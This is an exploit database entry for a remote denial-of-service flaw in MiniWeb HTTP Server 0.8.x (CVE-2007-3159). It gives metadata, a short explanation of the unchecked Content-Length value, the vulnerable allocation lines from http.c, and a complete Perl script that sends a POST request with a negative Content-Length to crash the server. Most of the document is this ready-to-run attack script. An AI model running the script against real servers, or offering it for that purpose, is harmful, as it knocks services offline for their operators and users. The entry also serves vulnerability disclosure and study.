MiniWeb HTTP Server 0.8.x - Remote Denial of Service

Author: gbr
type: dos
platform: windows
port: 
date_added: 2007-06-06 
date_updated: 2016-10-05 
verified: 1 
codes: OSVDB-37185;CVE-2007-3159 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comminiweb-0.8.1.zip

# MiniWeb Http Server 0.8.x Remote Denial of Service
# MiniWeb site http://sourceforge.net/projects/miniweb/
# Author: gbr
#
# Tested running the server under Windows XP SP2
#
# Description:
#
# The server doesn't do a sanity-check on 'Content-Length' value from POST Header, allowing the attacker to control
# the allocation size and the position in the 'pucPayload' char pointer to write.
# This could be used to trigger an exception.
#
#
# Vulnerable code - file http.c | lines 701-702 MiniWeb 0.8.1 | lines 704 - 705 MiniWeb 0.8.19
# ------------------------------------------
# phsSocket->request.pucPayload=malloc(phsSocket->response.iContentLength+1);
# phsSocket->request.pucPayload[phsSocket->response.iContentLength]=0;
# ------------------------------------------

#!/usr/bin/perl

use strict;
use warnings;
use IO::Socket;

my $host = shift || die "usage: perl $0 host [port]\n";
my $port = shift || 80;

my $sock = new IO::Socket::INET(PeerAddr => $host, PeerPort => $port, PeerProto => 'tcp')
or die "error: $!\n";

$sock->send("POST / HTTP/1.1\r\n");
$sock->send("Content-Length: -10\r\n\r\n");

$sock->close;

print "Exploited\n";

# milw0rm.com [2007-06-07]